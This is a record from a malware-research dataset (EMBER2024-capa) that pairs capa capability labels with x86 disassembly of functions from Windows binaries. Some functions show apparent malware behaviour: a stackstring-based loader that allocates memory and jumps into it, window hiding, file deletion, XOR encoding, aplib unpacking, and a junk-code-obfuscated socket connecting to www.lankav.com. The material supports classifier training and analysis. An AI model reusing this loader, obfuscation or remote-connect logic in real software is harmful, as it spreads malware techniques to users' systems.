joyce8/EMBER2024-capa huggingface dataset:
Function at 0x6d91e160
Capabilities:
Resolve function by parsing pe exports

Disassembly:
mov ecx, dword [0x6da1d974]
mov ecx, dword fs:[ecx]
mov ecx, dword [ecx]
cmp esp, dword [ecx + 8]
jbe 0x6d91e2f3
sub esp, 0x24
mov eax, dword [esp + 0x28]
test byte [eax], al
lea ecx, [eax + 0x18]
mov dword [esp + 0x20], ecx
nop
mov dword [esp], ecx
call fcn.6d8ca640
mov eax, dword [esp + 0x28]
movzx ecx, byte [eax + 0x1c]
test cl, cl
jne 0x6d91e2dc
mov byte [eax + 0x1c], 1
inc dword [eax + 0x24]
inc dword [eax + 0x60]
mov dword [esp], eax
call fcn.6d8f0130
mov dword [esp + 0x14], 0
mov eax, dword [esp + 0x28]
mov dword [esp], eax
mov dword [esp + 4], 0x72
mov byte [esp + 8], 0
lea ecx, [esp + 0x14]
mov dword [esp + 0xc], ecx
call fcn.6d8f0810
mov eax, dword [esp + 0x10]
mov dword [esp + 0x1c], eax
mov ecx, dword [esp + 0x28]
mov dword [esp], ecx
mov dword [esp + 4], 0x77
mov byte [esp + 8], 0
lea edx, [esp + 0x14]
mov dword [esp + 0xc], edx
call fcn.6d8f0810
mov eax, dword [esp + 0x28]
mov ecx, dword [eax + 0x3c]
mov edx, dword [esp + 0x10]
mov dword [esp + 0x18], edx
test ecx, ecx
je 0x6d91e248
lea ecx, [eax + 0x28]
mov dword [esp], ecx
call fcn.6d910930
mov eax, dword [0x6da1da10]
test eax, eax
jne 0x6d91e22f
mov eax, dword [esp + 0x28]
jmp 0x6d91e23d
mov eax, dword [esp + 0x28]
mov ecx, dword [eax + 0x3c]
call fcn.6d921120
mov dword [edi], ecx
mov dword [eax + 0x3c], 0
mov edx, dword [esp + 0x18]
mov ecx, dword [eax + 0x78]
test ecx, ecx
je 0x6d91e27f
lea ecx, [eax + 0x64]
mov dword [esp], ecx
call fcn.6d910930
mov eax, dword [0x6da1da10]
test eax, eax
jne 0x6d91e26a
mov eax, dword [esp + 0x28]
jmp 0x6d91e278
mov eax, dword [esp + 0x28]
mov ecx, dword [eax + 0x78]
call fcn.6d921120
mov dword [edi], ecx
mov dword [eax + 0x78], 0
nop
nop
mov eax, dword [esp + 0x20]
mov dword [esp], eax
call fcn.6d8ca860
mov eax, dword [esp + 0x1c]
test eax, eax
je 0x6d91e2a5
mov dword [esp], eax
mov dword [esp + 4], 3
call fcn.6d8f0610
mov eax, dword [esp + 0x18]
test eax, eax
je 0x6d91e2bd
mov dword [esp], eax
mov dword [esp + 4], 3
call fcn.6d8f0610
mov eax, dword [esp + 0x14]
test eax, eax
je 0x6d91e2d8
nop
lea ecx, [0x6da1d8e0]
mov dword [esp], ecx
mov dword [esp + 4], eax
call fcn.6d8c2c80
add esp, 0x24
ret
lea eax, [0x6d967279]
mov dword [esp], eax
mov dword [esp + 4], 0x24
call fcn.6d8f4fd0
nop
call fcn.6d91fd10
jmp fcn.6d91e160
Function at 0x6d942490
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov ecx, dword [0x6da1d974]
mov ecx, dword fs:[ecx]
mov ecx, dword [ecx]
cmp esp, dword [ecx + 8]
jbe 0x6d942624
sub esp, 0x7c
mov eax, 0
mov dword [esp + 0x78], eax
mov byte [esp + 0x4d], 0
lea eax, [0x6d96102b]
mov dword [esp], eax
mov dword [esp + 4], 7
call fcn.6d942b40
mov eax, dword [esp + 0x14]
test eax, eax
je 0x6d9424de
jne 0x6d942607
jmp 0x6d94260a
mov eax, dword [esp + 8]
mov dword [esp + 0x60], eax
mov ecx, dword [esp + 0xc]
mov dword [esp + 0x58], ecx
mov edx, dword [esp + 0x10]
mov dword [esp + 0x5c], edx
mov dword [esp + 0x4e], 0x79384e4c
mov dword [esp + 0x50], 0x745a7938
mov dword [esp + 0x54], 0x4f4e5936
lea ebx, [esp + 0x4e]
mov dword [esp], ebx
mov dword [esp + 4], 0xa
mov dword [esp + 8], 0xa
call fcn.6d92d210
lea edi, [esp + 0x2d]
lea esi, [esp + 0xc]
call fcn.6d9217e0
mov eax, dword [esp + 0x60]
mov dword [esp], eax
mov eax, dword [esp + 0x58]
mov dword [esp + 4], eax
mov eax, dword [esp + 0x5c]
mov dword [esp + 8], eax
lea eax, [esp + 0x2d]
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], 0x20
mov dword [esp + 0x14], 0x20
call fcn.6d942730
mov eax, dword [esp + 0x24]
mov ecx, dword [esp + 0x18]
mov edx, dword [esp + 0x1c]
mov ebx, dword [esp + 0x20]
mov ebp, dword [esp + 0x28]
mov dword [esp + 0x64], ecx
mov dword [esp + 0x68], edx
mov dword [esp + 0x6c], ebx
test eax, eax
jne 0x6d9425f6
lea eax, [0x6d961e93]
mov dword [esp], eax
mov dword [esp + 4], 0xd
call fcn.6d942250
mov eax, dword [esp + 8]
nop
mov dword [esp + 0x70], 0
mov dword [esp + 0x74], 0
lea ecx, [0x6d9426d0]
mov dword [esp + 0x70], ecx
mov dword [esp + 0x74], eax
lea ecx, [esp + 0x70]
mov dword [esp + 0x78], ecx
mov byte [esp + 0x4d], 1
lea ecx, [esp + 0x64]
mov dword [esp], ecx
mov dword [esp + 4], eax
call fcn.6d942630
mov byte [esp + 0x4d], 0
mov edx, dword [esp + 0x78]
mov eax, dword [edx]
call eax
add esp, 0x7c
ret
je 0x6d9425fb
mov eax, dword [eax + 4]
mov dword [esp], eax
mov dword [esp + 4], ebp
call fcn.6d8f4560
mov eax, dword [eax + 4]
mov ecx, dword [esp + 0x18]
mov dword [esp], eax
mov dword [esp + 4], ecx
call fcn.6d8f4560
nop
call fcn.6d8f4280
add esp, 0x7c
ret
call fcn.6d91fd10
jmp fcn.6d942490
Function at 0x401230
Capabilities:
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x84
mov eax, dword [0x407080]
xor eax, dword [ebp + 4]
mov dword [ebp - 4], eax
mov dword [ebp - 0x78], 0
mov dword [ebp - 0x80], 0
mov dword [ebp - 0x74], str.utgeedewer
push 1
push 0
call dword [sym.imp.USER32.dll_ShowWindow]
push 0
push 0
call dword [sym.imp.USER32.dll_EnableWindow]
mov eax, dword [ebp - 0x74]
push eax
push 0
call dword [sym.imp.USER32.dll_LoadIconA]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_OpenMutexA]
call dword [sym.imp.USER32.dll_GetActiveWindow]
mov ecx, dword [ebp - 0x78]
push ecx
call fcn.004012f0
add esp, 4
push 0x64
call fcn.0040160d
add esp, 4
mov dword [ebp - 0x84], eax
mov edx, dword [ebp - 0x84]
mov dword [ebp - 0x7c], edx
push 0x40703c
push 0
call dword [sym.imp.USER32.dll_LoadIconA]
mov eax, dword [ebp - 0x7c]
push eax
push 0
call dword [sym.imp.USER32.dll_LoadIconA]
movzx ecx, byte [0x405120]
push ecx
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [ebp - 0x78]
mov ecx, dword [ebp - 4]
xor ecx, dword [ebp + 4]
call fcn.0040164c
mov esp, ebp
pop ebp
ret 0x10
Function at 0x4012f0
Capabilities:
Check if file exists
Contain obfuscated stackstrings
Delete file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc4
mov eax, dword [0x407080]
xor eax, dword [ebp + 4]
mov dword [ebp - 0x18], eax
push ebx
mov dword [ebp - 0x10], 0
mov dword [ebp - 0x94], 0
mov dword [ebp - 0xb4], 0x10
mov dword [ebp - 8], 0
mov dword [ebp - 0x88], 0
mov dword [ebp - 0x8c], 0
mov dword [ebp - 0x90], 0
mov dword [ebp - 0x98], 0
mov dword [ebp - 4], 0
mov dword [ebp - 0xc], 0
push 0
call dword [sym.imp.USER32.dll_DestroyWindow]
mov dword [ebp - 0x84], 0
mov dword [ebp - 0xb0], 0
mov word [ebp - 0xac], 0x57
mov word [ebp - 0xaa], 0x69
mov word [ebp - 0xa8], 0x6e
mov word [ebp - 0xa6], 0x6d
mov word [ebp - 0xa4], 0x6d
mov word [ebp - 0xa2], 0x2e
mov word [ebp - 0xa0], 0x64
mov word [ebp - 0x9e], 0x6c
mov word [ebp - 0x9c], 0x6c
mov word [ebp - 0x9a], 0
mov dword [ebp - 0x14], str.waveOutGetPitch
push 0
push 0
lea eax, [ebp - 0xac]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov dword [ebp - 0xb8], eax
push 0xa
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, dword [ebp - 0x14]
push ecx
mov edx, dword [ebp - 0xb8]
push edx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0xb0], eax
push 0
push 0
push 0
push 0
call dword [sym.imp.USER32.dll_PostMessageA]
push str.53dew242df.e8rr
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 2
jne 0x4014a5
lea eax, [ebp - 0x98]
mov dword [ebp - 0x98], eax
mov eax, dword [ebp - 0x98]
push eax
push 0
call dword [ebp - 0xb0]
mov dword [ebp - 0x84], eax
add dword [ebp - 0x84], 1
push str.VirtualAlloc
push str.kernel32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp + 8], eax
cmp dword [ebp - 0x84], 6
jne 0x401493
push dword [ebp - 0x98]
push 0xa
call dword [ebp - 0xb0]
add dword [ebp - 0x84], eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
add eax, dword [ebp - 0x84]
mov dword [ebp - 0x84], eax
cmp dword [ebp - 0x84], 0xb
je 0x4014be
cmp dword [ebp - 0x84], 0x527
jne 0x401542
mov dword [ebp - 4], 0x1000
mov dword [ebp - 0xbc], 4
mov dword [ebp - 0xc4], 0
mov dword [ebp - 0xc0], 0
mov dword [ebp - 8], 0
mov ecx, dword [ebp - 0xb4]
shl ecx, 1
mov dword [ebp - 0xb4], ecx
mov edx, dword [ebp + 8]
mov dword [ebp - 0xc4], edx
mov eax, dword [ebp - 0xb4]
shl eax, 1
mov dword [ebp - 0xb4], eax
push dword [ebp - 0xb4]
mov ebx, 0x3bfd
mov ecx, 0x658
add ecx, 0x9a8
push ecx
push ebx
mov ecx, 0
mov ebx, dword [ebp - 0xc4]
push ecx
call ebx
mov dword [ebp - 8], eax
mov dword [ebp - 0xb4], 0xc9
cmp dword [ebp - 0xb4], 0x6e
jbe 0x40155d
mov ecx, dword [ebp - 8]
push ecx
mov edx, dword [ebp - 8]
push edx
call section..text
add esp, 8
jmp 0x401542
xor eax, eax
mov ecx, dword [ebp - 0x18]
xor ecx, dword [ebp + 4]
call fcn.0040164c
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x40167f
Capabilities:
Accept command line arguments
Parse pe header
Terminate process

Disassembly:
push 0x60
push 0x4051a8
call fcn.00401a7c
mov edi, 0x94
mov eax, edi
call fcn.00402680
mov dword [ebp - 0x18], esp
mov esi, esp
mov dword [esi], edi
push esi
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
mov ecx, dword [esi + 0x10]
mov dword [0x40731c], ecx
mov eax, dword [esi + 4]
mov dword [0x407328], eax
mov edx, dword [esi + 8]
mov dword [0x40732c], edx
mov esi, dword [esi + 0xc]
and esi, 0x7fff
mov dword [0x407320], esi
cmp ecx, 2
je 0x4016df
or esi, 0x8000
mov dword [0x407320], esi
shl eax, 8
add eax, edx
mov dword [0x407324], eax
xor esi, esi
push esi
mov edi, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call edi
cmp word [eax], 0x5a4d
jne 0x40171a
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x40171a
movzx eax, word [ecx + 0x18]
cmp eax, 0x10b
je 0x401732
cmp eax, 0x20b
je 0x40171f
mov dword [ebp - 0x1c], esi
jmp 0x401746
cmp dword [ecx + 0x84], 0xe
jbe 0x40171a
xor eax, eax
cmp dword [ecx + 0xf8], esi
jmp 0x401740
cmp dword [ecx + 0x74], 0xe
jbe 0x40171a
xor eax, eax
cmp dword [ecx + 0xe8], esi
setne al
mov dword [ebp - 0x1c], eax
push esi
call fcn.0040262d
pop ecx
test eax, eax
jne 0x401772
cmp dword [0x407308], 1
jne 0x40175f
call fcn.00401dd6
push 0x1c
call fcn.00401c5f
push 0xff
call fcn.00401ac8
pop ecx
pop ecx
call fcn.0040258b
mov dword [ebp - 4], esi
call fcn.004023e0
test eax, eax
jge 0x40178b
push 0x1b
call fcn.0040165a
pop ecx
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov dword [0x407854], eax
call fcn.004022be
mov dword [0x407300], eax
call fcn.0040221c
test eax, eax
jge 0x4017b1
push 8
call fcn.0040165a
pop ecx
call fcn.00401fe9
test eax, eax
jge 0x4017c2
push 9
call fcn.0040165a
pop ecx
call fcn.00401af8
mov dword [ebp - 0x20], eax
cmp eax, esi
je 0x4017d5
push eax
call fcn.0040165a
pop ecx
mov dword [ebp - 0x38], esi
lea eax, [ebp - 0x64]
push eax
call dword [sym.imp.KERNEL32.dll_GetStartupInfoA]
call fcn.00401f80
mov dword [ebp - 0x68], eax
test byte [ebp - 0x38], 1
je 0x4017f6
movzx eax, word [ebp - 0x34]
jmp 0x4017f9
push 0xa
pop eax
push eax
push dword [ebp - 0x68]
push esi
push esi
call edi
push eax
call fcn.00401230
mov edi, eax
mov dword [ebp - 0x6c], edi
cmp dword [ebp - 0x1c], esi
jne 0x401817
push edi
call fcn.00401c1f
call fcn.00401c41
jmp 0x401849
or dword [ebp - 4], 0xffffffff
mov eax, edi
lea esp, [ebp - 0x7c]
call fcn.00401ab7
ret
Function at 0x401b5d
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
push esi
xor esi, esi
inc esi
cmp dword [0x40735c], esi
push edi
jne 0x401b7d
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
cmp dword [ebp + 0xc], 0
mov al, byte [ebp + 0x10]
mov dword [0x407358], esi
mov byte [0x407354], al
jne 0x401be3
mov ecx, dword [0x407848]
test ecx, ecx
je 0x401bc4
mov eax, dword [0x407844]
sub eax, 4
cmp eax, ecx
jmp 0x401bbd
mov eax, dword [eax]
test eax, eax
je 0x401baf
call eax
mov eax, dword [0x407844]
sub eax, 4
cmp eax, dword [0x407848]
mov dword [0x407844], eax
jae 0x401ba7
mov eax, 0x40701c
mov esi, 0x407020
cmp eax, esi
mov edi, eax
jae 0x401be3
mov eax, dword [edi]
test eax, eax
je 0x401bdc
call eax
add edi, 4
cmp edi, esi
jb 0x401bd4
mov eax, 0x407024
mov esi, 0x407028
cmp eax, esi
mov edi, eax
jae 0x401c02
mov eax, dword [edi]
test eax, eax
je 0x401bfb
call eax
add edi, 4
cmp edi, esi
jb 0x401bf3
cmp dword [ebp + 0x10], 0
pop edi
pop esi
jne 0x401c1d
push dword [ebp + 8]
mov dword [0x40735c], 1
call fcn.00401ac8
pop ecx
pop ebp
ret

Function at 0x401c5f
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10c
mov eax, dword [0x407080]
xor eax, dword [ebp + 4]
mov ecx, dword [ebp + 8]
push ebx
push esi
mov dword [ebp - 4], eax
xor edx, edx
push edi
xor eax, eax
cmp ecx, dword [eax*8 + 0x407090]
je 0x401c8c
inc eax
cmp eax, 0x12
jb 0x401c7d
mov esi, eax
shl esi, 3
cmp ecx, dword [esi + 0x407090]
jne 0x401dc0
mov eax, dword [0x407308]
cmp eax, 1
je 0x401d9b
cmp eax, edx
jne 0x401cbc
cmp dword [0x407088], 1
je 0x401d9b
cmp ecx, 0xfc
je 0x401dc0
push 0x104
lea eax, [ebp - 0x10c]
push eax
push edx
mov byte [ebp - 8], dl
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x401cf5
lea eax, [ebp - 0x10c]
push str._program_name_unknown_
push eax
call fcn.00403300
pop ecx
pop ecx
lea eax, [ebp - 0x10c]
push eax
lea edi, [ebp - 0x10c]
call fcn.00403530
inc eax
cmp eax, 0x3c
pop ecx
jbe 0x401d37
lea eax, [ebp - 0x10c]
push eax
call fcn.00403530
mov edi, eax
lea eax, [ebp - 0x10c]
sub eax, 0x3b
push 3
add edi, eax
push 0x4051ec
push edi
call fcn.00403400
add esp, 0x10
push edi
call fcn.00403530
push dword [esi + 0x407094]
mov ebx, eax
call fcn.00403530
lea eax, [ebx + eax + 0x1c]
pop ecx
add eax, 3
pop ecx
and eax, 0xfffffffc
call fcn.00402680
mov ebx, esp
push str.Runtime_Error__n_nProgram:
push ebx
call fcn.00403300
push edi
push ebx
call fcn.00403310
push 0x4051e8
push ebx
call fcn.00403310
push dword [esi + 0x407094]
push ebx
call fcn.00403310
push 0x12010
push str.Microsoft_Visual_C_Runtime_Library
push ebx
call fcn.004031fb
add esp, 0x2c
jmp 0x401dc0
push edx
lea eax, [ebp + 8]
push eax
lea esi, [esi + 0x407094]
push dword [esi]
call fcn.00403530
pop ecx
push eax
push dword [esi]
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
lea esp, [ebp - 0x118]
mov ecx, dword [ebp - 4]
xor ecx, dword [ebp + 4]
call fcn.0040164c
pop edi
pop esi
pop ebx
leave
ret
Function at 0x4031fb
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
xor ebx, ebx
cmp dword [0x40747c], ebx
push esi
push edi
jne 0x40327b
push str.user32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
cmp edi, ebx
je 0x4032b6
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
mov dword [0x40747c], eax
je 0x4032b6
push 0x40574c
push edi
call esi
push str.GetLastActivePopup
push edi
mov dword [0x407480], eax
call esi
cmp dword [0x40731c], 2
mov dword [0x407484], eax
jne 0x40327b
push str.GetUserObjectInformationA
push edi
call esi
test eax, eax
mov dword [0x40748c], eax
je 0x40327b
push str.GetProcessWindowStation
push edi
call esi
mov dword [0x407488], eax
mov eax, dword [0x407488]
test eax, eax
je 0x4032c0
call eax
test eax, eax
je 0x4032a7
lea ecx, [ebp - 4]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call dword [0x40748c]
test eax, eax
je 0x4032a7
test byte [ebp - 8], 1
jne 0x4032c0
cmp dword [0x407328], 4
jb 0x4032ba
or byte [ebp + 0x12], 0x20
jmp 0x4032df
xor eax, eax
jmp 0x4032ef
or byte [ebp + 0x12], 4
jmp 0x4032df
mov eax, dword [0x407480]
test eax, eax
je 0x4032df
call eax
mov ebx, eax
test ebx, ebx
je 0x4032df
mov eax, dword [0x407484]
test eax, eax
je 0x4032df
push ebx
call eax
mov ebx, eax
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push ebx
call dword [0x40747c]
pop edi
pop esi
pop ebx
leave
ret

Function at 0x404cc8
Capabilities:
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
push ebx
push esi
push edi
push 4
pop eax
call fcn.00402680
mov ebx, esp
push 0x1c
lea eax, [ebp - 0x24]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
test eax, eax
je 0x404d5d
mov edi, dword [ebp - 0x20]
lea eax, [ebp - 0x48]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov eax, dword [ebp - 0x44]
lea esi, [eax - 1]
not esi
and esi, ebx
sub esi, eax
mov dword [ebp - 4], eax
mov eax, dword [0x40731c]
mov ecx, eax
dec ecx
neg ecx
sbb ecx, ecx
and ecx, 0xffff1000
add ecx, 0x11000
add ecx, edi
cmp esi, ecx
jb 0x404d5d
cmp eax, 1
je 0x404d75
mov ebx, edi
mov edi, 0x1000
push 0x1c
lea eax, [ebp - 0x24]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
test eax, eax
je 0x404d5d
add ebx, dword [ebp - 0x18]
test dword [ebp - 0x14], edi
je 0x404d32
test byte [ebp - 0xf], 1
mov ebx, dword [ebp - 0x24]
je 0x404d59
xor eax, eax
inc eax
jmp 0x404d91
cmp esi, ebx
jae 0x404d61
xor eax, eax
jmp 0x404d91
push 4
push edi
push dword [ebp - 4]
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov eax, dword [0x40731c]
jmp 0x404d77
mov ebx, esi
dec eax
neg eax
sbb eax, eax
and eax, 0x103
lea ecx, [ebp - 8]
push ecx
inc eax
push eax
push dword [ebp - 4]
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea esp, [ebp - 0x54]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x4484aa
Capabilities:
Decompress data using aplib

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x18
mov al, byte [ecx]
and dword [esp + 0x14], 0
push ebx
push ebp
mov byte [edx], al
lea eax, [edx + 1]
push esi
mov dword [esp + 0x18], eax
push edi
mov dword [esp + 0x14], edx
mov esi, dword [esp + 0x14]
lea eax, [ecx + 1]
xor edi, edi
xor ebp, ebp
mov dword [esp + 0x18], eax
lea ecx, [esp + 0x18]
call fcn.00448453
test eax, eax
je 0x448603
lea ecx, [esp + 0x18]
call fcn.00448453
lea ecx, [esp + 0x18]
test eax, eax
je 0x448572
call fcn.00448453
test eax, eax
je 0x448534
push 4
xor edi, edi
pop ebx
lea ecx, [esp + 0x18]
call fcn.00448453
lea edi, [eax + edi*2]
dec ebx
jne 0x44850a
mov edx, dword [esp + 0x1c]
test edi, edi
je 0x44852b
mov eax, edx
sub eax, edi
mov al, byte [eax]
mov byte [edx], al
jmp 0x44852e
mov byte [edx], 0
inc edx
jmp 0x448615
mov eax, dword [esp + 0x18]
mov edx, dword [esp + 0x1c]
movzx esi, byte [eax]
mov ecx, esi
and ecx, 1
inc eax
add ecx, 2
shr esi, 1
mov dword [esp + 0x18], eax
je 0x44856a
test ecx, ecx
je 0x4485fe
mov edi, edx
sub edi, esi
mov al, byte [edi]
mov byte [edx], al
inc edx
inc edi
dec ecx
jne 0x44855c
jmp 0x4485fa
xor ebp, ebp
inc ebp
jmp 0x4485fe
call fcn.00448489
test edi, edi
jne 0x4485a7
cmp eax, 2
jne 0x4485a2
lea ecx, [esp + 0x18]
call fcn.00448489
mov edx, dword [esp + 0x1c]
mov edi, eax
test edi, edi
je 0x4485fe
mov ecx, edx
sub ecx, esi
mov al, byte [ecx]
mov byte [edx], al
inc edx
inc ecx
dec edi
jne 0x448597
jmp 0x4485fa
sub eax, 3
jmp 0x4485aa
sub eax, 2
mov ecx, dword [esp + 0x18]
mov esi, eax
movzx eax, byte [ecx]
shl esi, 8
add esi, eax
inc ecx
mov dword [esp + 0x18], ecx
lea ecx, [esp + 0x18]
call fcn.00448489
mov ecx, eax
cmp esi, 0x7d00
jb 0x4485d1
inc ecx
cmp esi, 0x500
jb 0x4485da
inc ecx
cmp esi, 0x80
jae 0x4485e5
add ecx, 2
mov edx, dword [esp + 0x1c]
test ecx, ecx
je 0x4485fe
mov edi, edx
sub edi, esi
mov al, byte [edi]
mov byte [edx], al
inc edx
inc edi
dec ecx
jne 0x4485f1
mov dword [esp + 0x1c], edx
xor edi, edi
inc edi
jmp 0x44861b
mov ecx, dword [esp + 0x18]
mov edx, dword [esp + 0x1c]
mov al, byte [ecx]
mov byte [edx], al
inc edx
inc ecx
mov dword [esp + 0x18], ecx
xor edi, edi
mov dword [esp + 0x1c], edx
test ebp, ebp
je 0x4484da
sub edx, dword [esp + 0x14]
pop edi
mov eax, edx
pop esi
pop ebp
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x4487a0
Capabilities:
Encode data using xor

Disassembly:
push ebx
push esi
push edi
mov edi, edx
mov ebx, edi
shr ebx, 2
and edi, 3
mov esi, ecx
test ebx, ebx
je 0x4487d2
mov al, byte [esp + 0x14]
mov edx, dword [esi]
add al, bl
movzx ecx, al
mov eax, dword [esp + 0x10]
ror edx, cl
xor edx, eax
sub edx, ebx
mov dword [esi], edx
add esi, 4
dec ebx
jne 0x4487b3
jmp 0x4487d6
mov eax, dword [esp + 0x10]
test edi, edi
je 0x4487e0
xor byte [esi], al
inc esi
dec edi
jne 0x4487da
pop edi
pop esi
pop ebx
ret 0xc
Function at 0x403fb0
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
push esi
push edi
mov edi, dword [sym.imp.MSVCRT.dll_putchar]
push 0
call edi
add esp, 4
mov word [ebp - 0x10], 2
push 0x1f9b
call dword [sym.imp.WS2_32.dll_htons]
push str.www.lankav.com
mov word [ebp - 0xe], ax
call fcn.00401000
add esp, 4
mov dword [ebp - 0xc], eax
btr ebx, 0xf4
xadd eax, ebx
xchg ebx, eax
test eax, 0x534f82bb
sub bl, dl
mov eax, edx
xchg al, bl
mov al, cl
movzx ebx, bx
not bh
rcl ebx, 0x4b
or eax, 0x393eeb01
imul ebx, ebp, 0x5a429437
movzx eax, si
mov eax, 0xfc226531
test ebx, edx
sub bh, 0x82
test bl, al
bsr eax, ebp
shr ebx, 1
imul ebx, eax, 0xd815a07e
sbb al, 0x7b
test edi, edi
shl bl, cl
movsx ebx, dx
neg bl
bswap ebx
add ah, al
not eax
xadd bl, al
shrd ebx, eax, cl
movzx eax, cx
mov bl, 0x5d
imul ebx, esi, 0x9c792c83
neg ah
movzx ebx, dh
inc eax
push 0
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
push 0
mov esi, eax
call edi
add esp, 4
lea eax, [ebp - 0x10]
push 0x10
push eax
push esi
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x40408e
push esi
call dword [sym.imp.WS2_32.dll_closesocket]
pop edi
pop esi
or eax, 0xffffffff
pop ebx
mov esp, ebp
pop ebp
ret
mov eax, esi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x404280
Capabilities:
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push esi
mov esi, dword [ebp + 8]
lea eax, [ebp + 0xc]
push 4
push eax
push 8
push 0xffff
push esi
call dword [sym.imp.WS2_32.dll_setsockopt]
test eax, eax
jne 0x404346
push ebx
btr ebx, 0xf4
xadd eax, ebx
xchg ebx, eax
test eax, 0x534f82bb
sub bl, dl
mov eax, edx
xchg al, bl
mov al, cl
movzx ebx, bx
not bh
rcl ebx, 0x4b
or eax, 0x393eeb01
imul ebx, ebp, 0x5a429437
movzx eax, si
mov eax, 0xfc226531
test ebx, edx
sub bh, 0x82
test bl, al
bsr eax, ebp
shr ebx, 1
imul ebx, eax, 0xd815a07e
sbb al, 0x7b
test edi, edi
shl bl, cl
movsx ebx, dx
neg bl
bswap ebx
add ah, al
not eax
xadd bl, al
shrd ebx, eax, cl
movzx eax, cx
mov bl, 0x5d
imul ebx, esi, 0x9c792c83
neg ah
movzx ebx, dh
inc eax
push 0
lea ecx, [ebp + 0xc]
push 0
push ecx
push 0
push 0
lea edx, [ebp - 0xc]
push 0xc
push edx
push 0x98000004
push esi
mov dword [ebp - 0xc], 1
mov dword [ebp - 8], 0x2bf20
mov dword [ebp - 4], 0x2710
call dword [sym.imp.WS2_32.dll_WSAIoctl]
pop ebx
pop esi
mov esp, ebp
pop ebp
ret